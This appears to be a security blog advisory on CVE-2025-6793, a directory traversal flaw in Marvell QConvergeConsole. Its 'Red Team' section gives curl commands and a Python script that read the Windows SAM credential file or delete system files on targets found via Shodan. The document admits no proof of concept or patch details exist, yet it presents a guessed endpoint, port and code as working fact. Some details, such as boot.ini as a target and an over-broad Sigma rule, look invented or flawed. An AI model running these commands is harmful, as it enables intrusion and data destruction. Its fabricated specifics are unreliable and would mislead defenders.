CVE-2025-6793

Executive Summary

CVE-2025-6793 is a critical directory traversal vulnerability in Marvell QConvergeConsole, specifically within the QLogicDownloadImpl class. This flaw allows unauthenticated remote attackers to delete arbitrary files and disclose sensitive information on the target system. The vulnerability is rated 9.4 (Critical) on the CVSS 3.1 scale, with a vector indicating network-based, low-complexity exploitation requiring no privileges or user interaction. The impact is high for confidentiality, integrity, and availability, as an attacker can operate with SYSTEM privileges. No public proof-of-concept (PoC) or patch details are currently available, but the vulnerability has been reported via ZDI-CAN-24912. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the severity demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Marvell enterprise product (QConvergeConsole), which is typically deployed in data center environments for managing Fibre Channel and Ethernet adapters. Organizations using Marvell QConvergeConsole should treat this as a critical supply chain risk, as the software may be distributed through official Marvell channels or bundled with hardware.

CVSS Breakdown & Threat Level

• CVSS Score: 9.4 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive files.
• Integrity Impact: High (I:H) – Arbitrary file deletion possible.
• Availability Impact: High (A:H) – Deletion of critical system files can cause denial of service.

Threat Level: Critical. The combination of unauthenticated remote access, SYSTEM-level privileges, and high impact across all security pillars makes this a top-priority vulnerability for any organization using Marvell QConvergeConsole.

Deep Dive & Mechanics

The vulnerability resides in the QLogicDownloadImpl class of Marvell QConvergeConsole. This class handles file download operations for QLogic adapters. The flaw is a classic directory traversal (CWE-22) caused by insufficient validation of user-supplied paths. An attacker can craft a request with path traversal sequences (e.g., ../) to escape the intended download directory and access or delete arbitrary files on the filesystem.

Technical Details:

• The QLogicDownloadImpl class likely exposes a method that accepts a file path parameter from the user.
• The application fails to sanitize or canonicalize the path before using it in file operations (e.g., File.Delete() or File.ReadAllBytes()).
• An attacker can send a request like: GET /download?file=../../windows/system32/config/sam to read the SAM file, or DELETE /download?file=../../windows/system32/drivers/etc/hosts to delete critical system files.
• Since the service runs with SYSTEM privileges, the attacker can delete any file the SYSTEM account can access, including OS files, configuration files, and application binaries.

Attack Flow:

1. Reconnaissance: Identify a Marvell QConvergeConsole instance (e.g., via Shodan or banner grabbing).
2. Craft malicious request: Use path traversal sequences in the file parameter.
3. Exploit: Send the request to delete sensitive files (e.g., boot.ini, lsass.exe) or read configuration files containing credentials.
4. Escalate: Use disclosed information (e.g., admin passwords) for further compromise.

Vulnerable vs. Patched Code

Since no patch details are available, we can only hypothesize the vulnerable code pattern and the fix.

Vulnerable Code (C# example):

public class QLogicDownloadImpl
{
    public string DownloadFile(string userPath)
    {
        string basePath = @"C:\ProgramData\Marvell\QConvergeConsole\Downloads\";
        string fullPath = basePath + userPath; // No validation
        if (File.Exists(fullPath))
        {
            return File.ReadAllText(fullPath);
        }
        return "File not found";
    }
}

Patched Code (Hypothetical):

public class QLogicDownloadImpl
{
    public string DownloadFile(string userPath)
    {
        string basePath = @"C:\ProgramData\Marvell\QConvergeConsole\Downloads\";
        string fullPath = Path.GetFullPath(Path.Combine(basePath, userPath));
        // Ensure the resolved path is within the base directory
        if (!fullPath.StartsWith(basePath, StringComparison.OrdinalIgnoreCase))
        {
            throw new SecurityException("Invalid path");
        }
        if (File.Exists(fullPath))
        {
            return File.ReadAllText(fullPath);
        }
        return "File not found";
    }
}

The fix uses Path.GetFullPath to resolve any .. sequences and then checks that the resolved path starts with the intended base directory. This prevents directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Windows Server 2019/2022 with Marvell QConvergeConsole installed (version unknown).
• Attacker: Kali Linux or any system with curl/Postman.

Exploitation Steps:

1. Discover the endpoint: Use Shodan or Nmap to find Marvell QConvergeConsole instances (default port 8443 or 443).
2. Craft the exploit request:
   • For file disclosure:

     curl -k "https://target:8443/QLogicDownloadImpl?file=../../windows/system32/config/sam"
     

   • For file deletion:

     curl -k -X DELETE "https://target:8443/QLogicDownloadImpl?file=../../windows/system32/drivers/etc/hosts"
     

3. Automate with a script:

   import requests
   import sys
   
   target = sys.argv[1]
   action = sys.argv[2]  # 'read' or 'delete'
   file_path = sys.argv[3]
   
   url = f"https://{target}:8443/QLogicDownloadImpl?file={file_path}"
   if action == 'read':
       r = requests.get(url, verify=False)
       print(r.text)
   elif action == 'delete':
       r = requests.delete(url, verify=False)
       print(f"Status: {r.status_code}")
   

Expected Outcome: Successful exploitation will return sensitive file contents or delete the target file, potentially causing system instability.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing ../ or ..%2f in the file parameter.
• Alert on unusual file access patterns, especially to system directories like C:\Windows\System32.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Mitigation:

• Immediately isolate affected systems if possible.
• Apply input validation and path canonicalization as a temporary workaround (e.g., via a reverse proxy).
• Monitor logs for unauthorized file deletions or reads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /QLogicDownloadImpl with path traversal sequences (e.g., ../, ..%2f, %2e%2e%2f).
  • Outbound connections from the target to unknown IPs after exploitation (data exfiltration).
• File IOCs:
  • Unexpected deletion of files in C:\Windows\System32\drivers\etc\hosts, C:\boot.ini, or other critical system files.
  • Creation of temporary files in C:\ProgramData\Marvell\QConvergeConsole\Downloads\ with suspicious names.
• Process IOCs:
  • QConvergeConsole.exe or related processes making unusual file system calls (e.g., to C:\Windows\System32).
• Registry IOCs:
  • Changes to HKLM\SYSTEM\CurrentControlSet\Services\QConvergeConsole (if attacker modifies service configuration).

Detection Engineering

YARA Rule

rule CVE_2025_6793_Marvell_QConvergeConsole_Traversal
{
    meta:
        description = "Detects directory traversal attempts in Marvell QConvergeConsole logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6793"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $traversal4 = "%2e%2e%5c" ascii wide nocase
        $endpoint = "QLogicDownloadImpl" ascii wide nocase
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2025-6793 Directory Traversal in Marvell QConvergeConsole
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting QLogicDownloadImpl
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6793
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'QLogicDownloadImpl'
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6793 Marvell QConvergeConsole Directory Traversal"; flow:to_server; content:"QLogicDownloadImpl"; http_uri; content:"../"; distance:0; within:100; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, disconnect Marvell QConvergeConsole from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Workaround: Deploy a reverse proxy (e.g., Nginx, Apache) that validates and sanitizes the file parameter before forwarding to the backend. Example Nginx rule:

   location /QLogicDownloadImpl {
       if ($arg_file ~* "\.\.") {
           return 403;
       }
       proxy_pass http://backend;
   }
   

3. Monitor: Enable detailed logging on the web server and monitor for path traversal attempts.

Long-Term Fix:

• Await an official patch from Marvell. Contact Marvell support for updates on ZDI-CAN-24912.
• Once a patch is available, apply it immediately in a maintenance window.
• Consider upgrading to a newer version of QConvergeConsole if available.

Compensating Controls:

• Implement application-level input validation and canonicalization.
• Use least privilege: Run the QConvergeConsole service with a dedicated low-privilege account instead of SYSTEM.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.

Valters IT